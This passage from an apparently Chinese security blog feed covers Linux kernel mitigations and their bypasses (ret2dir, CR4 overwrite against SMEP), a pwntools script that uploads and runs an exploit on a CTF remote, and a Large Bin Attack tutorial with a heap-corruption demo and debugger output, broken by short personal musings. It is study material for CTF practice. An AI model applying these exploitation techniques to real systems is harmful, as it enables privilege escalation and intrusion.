randomize),与用户态程序的 ASLR 相类似——在内核镜像映射到实际的地址空间时加上一个偏移值(粒度为 256MB),但是内核内部的相对偏移其实还是不变的。</p><p>在未开启 KASLR 保护机制时,内核代码段的基址为 <code>0xffffffff81000000</code> ,direct mapping area 的基址为 <code>0xffff888000000000</code>。</p><p>内核内存布局可以参考这里 -> <a href="https://elixir.bootlin.com/linux/v6.3/source/Documentation/x86/x86_64/mm.rst%E3%80%82">https://elixir.bootlin.com/linux/v6.3/source/Documentation/x86/x86_64/mm.rst。</a></p><h4 id="FGKASLR"><a href="#FGKASLR" class="headerlink" title="FGKASLR"></a>FGKASLR</h4><p>KASLR 虽然在一定程度上能够缓解攻击,但是若是攻击者通过一些信息泄露漏洞获取到内核中的某个地址,仍能够直接得知内核加载地址偏移从而得知整个内核地址布局,因此有研究者基于 KASLR 实现了 FGKASLR,以函数粒度重新排布内核代码。</p><h4 id="STACK-PROTECTOR"><a href="#STACK-PROTECTOR" class="headerlink" title="STACK PROTECTOR"></a>STACK PROTECTOR</h4><p>类似于用户态程序的 canary,通常又被称作是 stack cookie,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生 kernel panic。</p><p>内核中的 canary 的值通常取自 gs 段寄存器某个固定偏移处的值。</p><h4 id="SMAP-SMEP"><a href="#SMAP-SMEP" class="headerlink" title="SMAP/SMEP"></a>SMAP/SMEP</h4><p>SMAP 即管理模式访问保护(Supervisor Mode Access Prevention),SMEP 即管理模式执行保护(Supervisor Mode Execution Prevention),这两种保护通常是同时开启的,用以<strong>阻止内核空间直接访问 / 执行用户空间的数据</strong>,完全地将内核空间与用户空间相分隔开,用以防范 ret2usr(return-to-user,将内核空间的指令指针重定向至用户空间上构造好的提权代码)攻击。</p><p>SMEP 保护的绕过有以下两种方式:</p><ul><li><p>利用内核线性映射区对物理地址空间的完整映射,找到用户空间对应页框的内核空间地址,利用该内核地址完成对用户空间的访问(即一个内核空间地址与一个用户空间地址映射到了同一个页框上),这种攻击手法称为 ret2dir 。</p></li><li><p>Intel 下系统根据 CR4 控制寄存器的第 20 位标识是否开启 SMEP 保护(1 为开启,0 为关闭),若是能够通过 kernel ROP 改变 CR4 寄存器的值便能够关闭 SMEP 保护,完成 SMEP-bypass,接下来就能够重新进行 ret2usr,<strong>但对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,这使得 ret2usr 彻底成为过去式</strong> 。</p></li></ul><blockquote><p>在 ARM 下有一种类似的保护叫 PXN。</p></blockquote><h4 id="KPTI"><a href="#KPTI" class="headerlink" title="KPTI"></a>KPTI</h4><p>KPTI 即 内核页表隔离(Kernel page-table isolation),内核空间与用户空间分别使用两组不同的页表集,这对于内核的内存管理产生了根本性的变化。</p><p>需要进行说明的是,<strong>在这两张页表上都有着对用户内存空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有在内核页表中才有着对内核内存空间的完整映射,但两张页表都有着对用户内存空间的完整映射</strong>,如下图所示,左侧是未开启 KPTI 后的页表布局,右侧是开启了 KPTI 后的页表布局。</p><p><img src="https://ctf-wiki.org/pwn/linux/kernel-mode/figure/kpti.png"></p><p>KPTI 的发明主要是用来修复一个史诗级别的 CPU 硬件漏洞:Meltdown。简单理解就是利用 CPU 流水线设计中(乱序执行与预测执行)的漏洞来获取到用户态无法访问的内核空间的数据,属于侧信道攻击的一种。</p><p><strong>KPTI 同时还令内核页表中属于用户地址空间的部分不再拥有执行权限,这使得 ret2usr 彻底成为过去式。</strong></p><h3 id="内核-“堆”-上保护机制"><a href="#内核-“堆”-上保护机制" class="headerlink" title="内核 “堆” 上保护机制"></a>内核 “堆” 上保护机制</h3><h4 id="Hardened-Usercopy"><a href="#Hardened-Usercopy" class="headerlink" title="Hardened Usercopy"></a>Hardened Usercopy</h4><p>hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,<strong>主要检查拷贝过程中对内核空间中数据的读写是否会越界</strong>:</p><ul><li>读取的数据长度是否超出源 object 范围。</li><li>写入的数据长度是否超出目的 object 范围。</li></ul><p>这一保护被用于 <code>copy_to_user()</code> 与 <code>copy_from_user()</code> 等数据交换 API 中,不过这种保护 不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段。</p><h4 id="Hardened-freelist"><a href="#Hardened-freelist" class="headerlink" title="Hardened freelist"></a>Hardened freelist</h4><p>类似于 glibc 2.32 版本引入的保护,在开启这种保护之前,slub 中的 free object 的 next 指针直接存放着 next free object 的地址,攻击者可以通过读取 freelist 泄露出内核线性映射区的地址,在开启了该保护之后 free object 的 next 指针存放的是由以下三个值进行异或操作后的值:</p><ul><li>当前 free object 的地址。</li><li>下一个 free object 的地址。</li><li>由 kmem_cache 指定的一个 random 值。</li></ul><p>攻击者至少需要获取到第一与第三个值才能篡改 freelist,这无疑为对 freelist 的直接利用增添不少难度。</p><h4 id="Random-freelist"><a href="#Random-freelist" class="headerlink" title="Random freelist"></a>Random freelist</h4><p>这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中,对于未开启这种保护的一张完整的 slub,其上的 object 的连接顺序是线性连续的,但在开启了这种保护之后其上的 object 之间的连接顺序是随机的,这让攻击者无法直接预测下一个分配的 object 的地址。</p><p>需要注意的是这种保护发生在 <strong>slub allocator 刚从 buddy system 拿到新 slub 的时候,运行时 freelist 的构成仍遵循 LIFO</strong>。</p><p><img src="https://ctf-wiki.org/pwn/linux/kernel-mode/figure/freelist_random.png"></p><h4 id="CONFIG-INIT-ON-ALLOC-DEFAULT-ON"><a href="#CONFIG-INIT-ON-ALLOC-DEFAULT-ON" class="headerlink" title="CONFIG_INIT_ON_ALLOC_DEFAULT_ON"></a>CONFIG_INIT_ON_ALLOC_DEFAULT_ON</h4><p>当编译内核时开启了这个选项时,在内核进行 “堆内存” 分配时(包括 buddy system 和 slab allocator),<strong>会将被分配的内存上的内容进行清零</strong>,从而防止了利用未初始化内存进行数据泄露的情况。</p><blockquote><p>据悉性能损耗在 1%~7% 之间。</p></blockquote><h2 id="CTF-kernel-pwn"><a href="#CTF-kernel-pwn" class="headerlink" title="CTF kernel pwn"></a>CTF kernel pwn</h2><p>传统的 kernel pwn 题目通常会给以下三个文件:</p><ol><li>boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关</li><li>bzImage: compressed kernel binary</li><li>rootfs.cpio: 文件系统映像</li></ol><p>这里我们以 CISCN2017 - babydriver 为例:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs shell">CISCN2017_babydriver [master●] ls<br>babydriver.tar<br>CISCN2017_babydriver [master●] x babydriver.tar<br>boot.sh<br>bzImage<br>rootfs.cpio<br>CISCN2017_babydriver [master●] ls<br>babydriver.tar boot.sh bzImage rootfs.cpio<br>CISCN2017_babydriver [master●] file bzImage<br>bzImage: Linux kernel x86 boot executable bzImage, version 4.4.72 (atum@ubuntu) #1 SMP Thu Jun 15 19:52:50 PDT 2017, RO-rootFS, swap_dev 0x6, Normal VGA<br>CISCN2017_babydriver [master●] file rootfs.cpio<br>rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix, original size 2844672<br>CISCN2017_babydriver [master●] file boot.sh<br>boot.sh: Bourne-Again shell script, ASCII text executable<br>CISCN2017_babydriver [master●] bat boot.sh <br>───────┬─────────────────────────────────────────────────────────────────────────────────<br> │ File: boot.sh<br>───────┼─────────────────────────────────────────────────────────────────────────────────<br> 1 │ #!/bin/bash<br> 2 │ <br> 3 │ qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 ro<br> │ ot=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographi<br> │ c -smp cores=1,threads=1 -cpu kvm64,+smep<br>───────┴─────────────────────────────────────────────────────────────────────────────────<br></code></pre></td></tr></table></figure><p>其中主要的 qemu 参数含义如下:</p><ul><li>initrd rootfs.cpio,使用 rootfs.cpio 作为内核启动的文件系统</li><li>kernel bzImage,使用 bzImage 作为 kernel 映像</li><li>cpu kvm64,+smep,设置 CPU 的安全选项,这里开启了 smep</li><li>m 64M,设置虚拟 RAM 为 64M,默认为 128M</li></ul><blockquote><p>其他的 qemu 参数可以通过 –help 查看。</p></blockquote><h3 id="在远程题目环境中进行利用"><a href="#在远程题目环境中进行利用" class="headerlink" title="在远程题目环境中进行利用"></a>在远程题目环境中进行利用</h3><p>通常情况下我们需要将在本地编写好的 exploit 程序进行静态编译并传输到远程,比较通用的办法便是将 exploit 进行 base64 编码后传输,可参考如下脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">import</span> base64<br><span class="hljs-comment">#context.log_level = "debug"</span><br><br><span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">"./exp"</span>, <span class="hljs-string">"rb"</span>) <span class="hljs-keyword">as</span> f:<br> exp = base64.b64encode(f.read())<br><br>p = remote(<span class="hljs-string">"127.0.0.1"</span>, <span class="hljs-number">11451</span>)<br><span class="hljs-comment">#p = process('./run.sh')</span><br>p.sendline()<br>p.recvuntil(<span class="hljs-string">"/ $"</span>)<br><br>count = <span class="hljs-number">0</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">len</span>(exp), <span class="hljs-number">0x200</span>):<br> p.sendline(<span class="hljs-string">"echo -n \""</span> + exp[i:i + <span class="hljs-number">0x200</span>].decode() + <span class="hljs-string">"\" >> /tmp/b64_exp"</span>)<br> count += <span class="hljs-number">1</span><br> log.info(<span class="hljs-string">"count: "</span> + <span class="hljs-built_in">str</span>(count))<br><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(count):<br> p.recvuntil(<span class="hljs-string">"/ $"</span>)<br><br>p.sendline(<span class="hljs-string">"cat /tmp/b64_exp | base64 -d > /tmp/exploit"</span>)<br>p.sendline(<span class="hljs-string">"chmod +x /tmp/exploit"</span>)<br>p.sendline(<span class="hljs-string">"/tmp/exploit "</span>)<br><br>p.interactive()<br></code></pre></td></tr></table></figure><blockquote><p>相比起常规的 pwn 题,kernel pwn 打远程会是一个比较漫长的过程,因为大部分的时间都会花在这个文件传输上。我们可以使用 musl-C、uclibc 等库来大幅降低可执行文件的大小,对于时间比较充足的题目也可以使用纯汇编来编写 exp。</p></blockquote><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/">CTF-Wiki:Kernel Mode - Basic Knowledge</a></li><li><a href="https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/">【OS.0x00】Linux Kernel I:Basic Knowledge</a></li><li><a href="https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/">【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF</a></li><li><a href="https://duasynt.com/blog/linux-kernel-heap-feng-shui-2022">Linux kernel heap feng shui in 2022</a></li><li><a href="https://zh.wikipedia.org/wiki">https://zh.wikipedia.org/wiki</a> / 内核</li><li><a href="https://zh.wikipedia.org/wiki">https://zh.wikipedia.org/wiki</a> / 分级保护域</li><li><a href="https://zh.wikipedia.org/wiki/Ioctl">https://zh.wikipedia.org/wiki/Ioctl</a></li><li><a href="http://www.freebuf.com/articles/system/54263.html">http://www.freebuf.com/articles/system/54263.html</a></li><li><a href="https://blog.csdn.net/zqixiao_09/article/details/50839042">https://blog.csdn.net/zqixiao_09/article/details/50839042</a></li><li><a href="https://yq.aliyun.com/articles/53679">https://yq.aliyun.com/articles/53679</a></li></ul>]]></content>
</entry>
<entry>
<title>碎碎念:其實人冇可能每一步都正確</title>
<link href="/2026/04/11/do-not-regret/"/>
<url>/2026/04/11/do-not-regret/</url>
<content type="html"><![CDATA[<p>其實人冇可能每一步都正確<br>揀錯咗就揀錯咗<br>唔好成日責怪以前嘅自己<br>佢當時一個人咧<br>身處迷霧亦都好迷茫<br>如果從來一次<br>以當時嘅閲歷同埋心智<br>你都系會做出同樣嘅選擇<br>我哋唔可以企喺而家嘅高度去批判當時嘅自己<br>落子無悔<br>每一步都繫命運嘅安排</p>]]></content>
<categories>
<category>碎碎念</category>
</categories>
<tags>
<tag>碎碎念</tag>
</tags>
</entry>
<entry>
<title>碎碎念:男人嘅三个C</title>
<link href="/2026/04/10/ccc/"/>
<url>/2026/04/10/ccc/</url>
<content type="html"><![CDATA[<p>“做男人你都冇三个C点叫做男人”<br>“愿闻其详”<br>“Car, Cash, Credit card”<br>“我仲有另外三个C”<br>“愿闻其详”<br>“Cheap, Cheaper, Cheaperper”<br>“你系唔系要睇医生仲系精神科嘅”<br>“一般男人就嚟三个C”</p>]]></content>
<categories>
<category>碎碎念</category>
</categories>
<tags>
<tag>碎碎念</tag>
</tags>
</entry>
<entry>
<title>碎碎念:人嘅一生最值得學嘅</title>
<link href="/2026/04/09/the-thing-worthy-to-learn-in-life/"/>
<url>/2026/04/09/the-thing-worthy-to-learn-in-life/</url>
<content type="html"><![CDATA[<p>人嘅一生最值得學嘅<br>唔系點樣搵錢<br>亦都唔係點樣裝扮自己<br>而系無論遇到幾大嘅風雨<br>都要有令自己<br>重新振作嘅能力<br>出身我哋冇得揀<br>唯一可以掌握嘅就系<br>調整自己情緒嘅能力<br>呢個世界睇落好似好複雜<br>其實歸根到底都系你一個人嘅世界<br>人生就系一場旅程點都好我哋應該<br>好好嘅享受佢</p><p>———2026/04/09 多雲<br>廣東東莞</p>]]></content>
<categories>
<category>碎碎念</category>
</categories>
<tags>
<tag>碎碎念</tag>
</tags>
</entry>
<entry>
<title>花与堆之Large Bin Attack</title>
<link href="/2026/04/06/largebin-attack/"/>
<url>/2026/04/06/largebin-attack/</url>
<content type="html"><![CDATA[<h2 id="Large-Bin-Attack"><a href="#Large-Bin-Attack" class="headerlink" title="Large Bin Attack"></a>Large Bin Attack</h2><p>从标题就可以看出这种攻击手法和Largebin有关,分配largebin有关的chunk,需要经过fast bin、unsort bin、small bin的分配,所以在学习large bin attack之前需要搞清楚fastbin和unsortbin分配的流程。</p><h3 id="Large-Bin"><a href="#Large-Bin" class="headerlink" title="Large Bin"></a>Large Bin</h3><p>large bin中一共包括63个bin,每个bin中的chunk大小不一致,而是出于一定区间范围内。此外这63个bin被分成了6组,每组bin中的chunk之间的公差一致。</p><h3 id="Large-chunk的微观结构"><a href="#Large-chunk的微观结构" class="headerlink" title="Large chunk的微观结构"></a>Large chunk的微观结构</h3><p>大于512(1024)字节的chunk称之为large chunk,large bin就是用于管理这些large chunk的</p><p>被释放进Large Bin中的chunk,除了以前经常见到的prev_size、size、fd、bk之外,还具有 <code>fd_nextsize</code> 和 <code>bk_nextsize</code>:</p><ol><li>fd_nextsize,bk_nextsize:只有chunk可先的时候才使用,不过用于较大的chunk(large chunk);</li><li>fd_nextsize指向前一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针;</li><li>bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针;</li><li><strong>一般空闲的large chunk在fd的遍历顺序中,按照由大到小的顺序排列</strong>。这样可以避免在寻找合适chunk时挨个遍历。</li></ol><h3 id="Large-Bin的插入顺序"><a href="#Large-Bin的插入顺序" class="headerlink" title="Large Bin的插入顺序"></a>Large Bin的插入顺序</h3><p>在index相同情况下:</p><ol><li>按照大小,从大到小排序(小的链接large bin块)</li><li>如果大小相同,按照free的时间顺序</li><li>多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他的堆块,后面的堆块的fd_nextsize和bk_nextsize均为0</li><li>size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk</li></ol><h3 id="Large-Bin-Attack-1"><a href="#Large-Bin-Attack-1" class="headerlink" title="Large Bin Attack"></a>Large Bin Attack</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">// gcc -g -no-pie example.c -o example</span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span><br>{<br><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> stack_var1 = <span class="hljs-number">0</span>;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> stack_var2 = <span class="hljs-number">0</span>;<br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"stack_var1 (%p): %ld\n"</span>, &stack_var1, stack_var1);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"stack_var2 (%p): %ld\n\n"</span>, &stack_var2, stack_var2);<br><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> *p1 = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x320</span>);<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x20</span>);<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> *p2 = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x400</span>);<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x20</span>);<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> *p3 = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x400</span>);<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x20</span>);<br><br> <span class="hljs-built_in">free</span>(p1);<br> <span class="hljs-built_in">free</span>(p2);<br><br> <span class="hljs-type">void</span>* p4 = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x90</span>);<br><br> <span class="hljs-built_in">free</span>(p3);<br><br> p2[<span class="hljs-number">-1</span>] = <span class="hljs-number">0x3f1</span>;<br> p2[<span class="hljs-number">0</span>] = <span class="hljs-number">0</span>;<br> p2[<span class="hljs-number">2</span>] = <span class="hljs-number">0</span>;<br> p2[<span class="hljs-number">1</span>] = (<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>)(&stack_var1 - <span class="hljs-number">2</span>);<br> p2[<span class="hljs-number">3</span>] = (<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>)(&stack_var2 - <span class="hljs-number">4</span>);<br><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x90</span>);<br><br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"stack_var1 (%p): %p\n"</span>, &stack_var1, (<span class="hljs-type">void</span> *)stack_var1);<br> <span class="hljs-built_in">fprintf</span>(<span class="hljs-built_in">stderr</span>, <span class="hljs-string">"stack_var2 (%p): %p\n"</span>, &stack_var2, (<span class="hljs-type">void</span> *)stack_var2);<br><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>程序执行流程:</p><ol><li>首先定义了两个变量stack_var1和stack_var2,并且都赋值为0。</li><li>接下来打印出两个变量的地址stack_var1_addr和stack_var2_addr以及两个变量中的值。</li><li>分别申请size为0x330、0x410、0x410三个大堆块p1、p2、p3,以及三个size为0x20的小堆块。</li><li>然后释放掉p1和p2,并申请了一个size为0xa0的堆块,继续释放p3.接着直接修改p2的size、fd、bk、fd_nextsize、bk_nextsize。</li><li>申请了一个size为0xa0大小的堆块。再次打印stack_var1、stack_var2的地址和值</li></ol><blockquote><p>注:我们创建的堆块分别为三个大堆块和三个小堆块,分别为 <code>P1</code>,<code>防止合并</code>, <code>P2</code>, <code>防止合并</code>, <code>P3</code>, <code>防止合并</code></p></blockquote><h3 id="查看stack-var1和stack-var2的地址及值"><a href="#查看stack-var1和stack-var2的地址及值" class="headerlink" title="查看stack_var1和stack_var2的地址及值"></a>查看stack_var1和stack_var2的地址及值</h3><p>现在我们开始调试,在14行下断点,我们看一下打印出来的stack_var1和stack_var2的地址:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">c</span><br>Continuing.<br>stack_var1 (0x7fff88da8bb8): 0<br>stack_var2 (0x7fff88da8bc0): 0<br></code></pre></td></tr></table></figure><p>可以看到stack_var1_addr为 <code>0x7fff88da8bb8</code>,stack_var2_addr为 <code>0x7fff88da8bc0</code>,两个变量中的值均为0。</p><h3 id="查看已创建的chunk"><a href="#查看已创建的chunk" class="headerlink" title="查看已创建的chunk"></a>查看已创建的chunk</h3><p>接下来在第21行下断点,使程序完成对三个大堆块以及三个小堆块的创建:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">parseheap</span><br>addr prev size status fd bk<br>0x13793000 0x0 0x330 Used None None<br>0x13793330 0x0 0x30 Used None None<br>0x13793360 0x0 0x410 Used None None<br>0x13793770 0x0 0x30 Used None None<br>0x137937a0 0x0 0x410 Used None None<br>0x13793bb0 0x0 0x30 Used None None<br></code></pre></td></tr></table></figure><p>可以看到六个chunk已经创建完毕了,其中三个size为0x30的chunk是为了放置P1、P2、P3在释放的时候被top_chunk合并,并不是主要的执行流程。</p><h3 id="释放P1和P2"><a href="#释放P1和P2" class="headerlink" title="释放P1和P2"></a>释放P1和P2</h3><p>接着断点下在24行,使程序释放p1和p2,这里需要注意的是释放顺序,先释放的是p1,后释放的是p2:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">bins</span><br>fastbins<br>empty<br>unsortedbin<br>all: 0x13793360 —▸ 0x13793000 —▸ 0x7ef106ffab78 (main_arena+88) ◂— 0x13793360<br>smallbins<br>empty<br>largebins<br>empty<br></code></pre></td></tr></table></figure><p>由于刚 free() 掉了两个 chunk。现在的 unsorted bin 有两个空闲的 chunk<br><img src="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/large_bin_attack/large_bin_attack3.png"></p><p>由于P1的size为0x330,P2的size为0x410,两个chunk的size均超过了fast chunk的最大值,所以在释放P1、P2的时候,两个chunk均进入unsortbin链表中。</p><blockquote><p>这里还可以细分,由于P1的size小于0x3F0,所以P1最终应该归属为small bin中。P2大于0x3F0,所以P2最终应该归属为large bin中。</p></blockquote><h3 id="分割P1满足P4的请求"><a href="#分割P1满足P4的请求" class="headerlink" title="分割P1满足P4的请求"></a>分割P1满足P4的请求</h3><p>接下来我们将断点在第26行,使程序执行 <code>void* p4 = malloc(0x90);</code> 这段代码。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">bin</span><br>fastbins<br>empty<br>unsortedbin<br>all: 0x137930a0 —▸ 0x7ef106ffab78 (main_arena+88) ◂— 0x137930a0<br>smallbins<br>empty<br>largebins<br>0x400-0x430: 0x13793360 —▸ 0x7ef106ffaf68 (main_arena+1096) ◂— 0x13793360<br></code></pre></td></tr></table></figure><p><code>void* p4 = malloc(0x90);</code> 这段代码其实背后做了很多的事情:</p><ul><li>从 unsorted bin 中拿出最后一个 chunk(p1 属于 small bin 的范围)</li><li>把这个 chunk 放入 small bin 中,并标记这个 small bin 有空闲的 chunk</li><li>再从 unsorted bin 中拿出最后一个 chunk(p2 属于 large bin 的范围)</li><li>把这个 chunk 放入 large bin 中,并标记这个 large bin 有空闲的 chunk</li><li>现在 unsorted bin 为空,从 small bin (p1)中分配一个小的 chunk 满足请求 0x90,并把剩下的 chunk(0x330 - 0xa0)放入 unsorted bin 中</li></ul><p>也就是说,现在:</p><ol><li>unsorted bin 中有一个 chunk 大小是 <code>0x330 - 0xa0 = 0x290</code></li><li>large bin 某一个序列的 bin 中有一个 chunk 大小是 0x410</li></ol><h3 id="释放P3"><a href="#释放P3" class="headerlink" title="释放P3"></a>释放P3</h3><p>接下来我们将断点端在第28行,使程序释放P3:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">parseheap</span><br>addr prev size status fd bk<br>0x13793000 0x0 0xa0 Used None None<br>0x137930a0 0x0 0x290 Freed 0x7ef106ffab78 0x137937a0<br>0x13793330 0x290 0x30 Used None None<br>0x13793360 0x0 0x410 Freed 0x7ef106ffaf68 0x7ef106ffaf68<br>0x13793770 0x410 0x30 Used None None<br>0x137937a0 0x0 0x410 Freed 0x137930a0 0x7ef106ffab78<br>0x13793bb0 0x410 0x30 Used None None<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">bin</span><br>fastbins<br>empty<br>unsortedbin<br>all: 0x137937a0 [P3] —▸ 0x137930a0 [P1_left] —▸ 0x7ef106ffab78 (main_arena+88) ◂— 0x137937a0<br>smallbins<br>empty<br>largebins <br>0x400-0x430: 0x13793360 [P2] —▸ 0x7ef106ffaf68 (main_arena+1096) ◂— 0x13793360<br></code></pre></td></tr></table></figure><p>由于P3的size也是大于0x3F0的,所以首先会被挂进unsorted bin中进行过渡</p><h3 id="修改P2结构内容"><a href="#修改P2结构内容" class="headerlink" title="修改P2结构内容"></a>修改P2结构内容</h3><p>接下来我们将断点下在第34行,使程序完成对P2内部结构数据的修改,这里附上修改前后的对比:</p><p>修改前:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/6gx 0x13793360</span><br>0x13793360: 0x0000000000000000 [prev_size] 0x0000000000000411 [size]<br>0x13793370: 0x00007ef106ffaf68 [fd] 0x00007ef106ffaf68 [bk]<br>0x13793380: 0x0000000013793360 [fd_nextsize] 0x0000000013793360 [bk_nextsize]<br></code></pre></td></tr></table></figure><p>修改后:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/6gx 0x13793360</span><br>0x13793360: 0x0000000000000000 [prev_size] 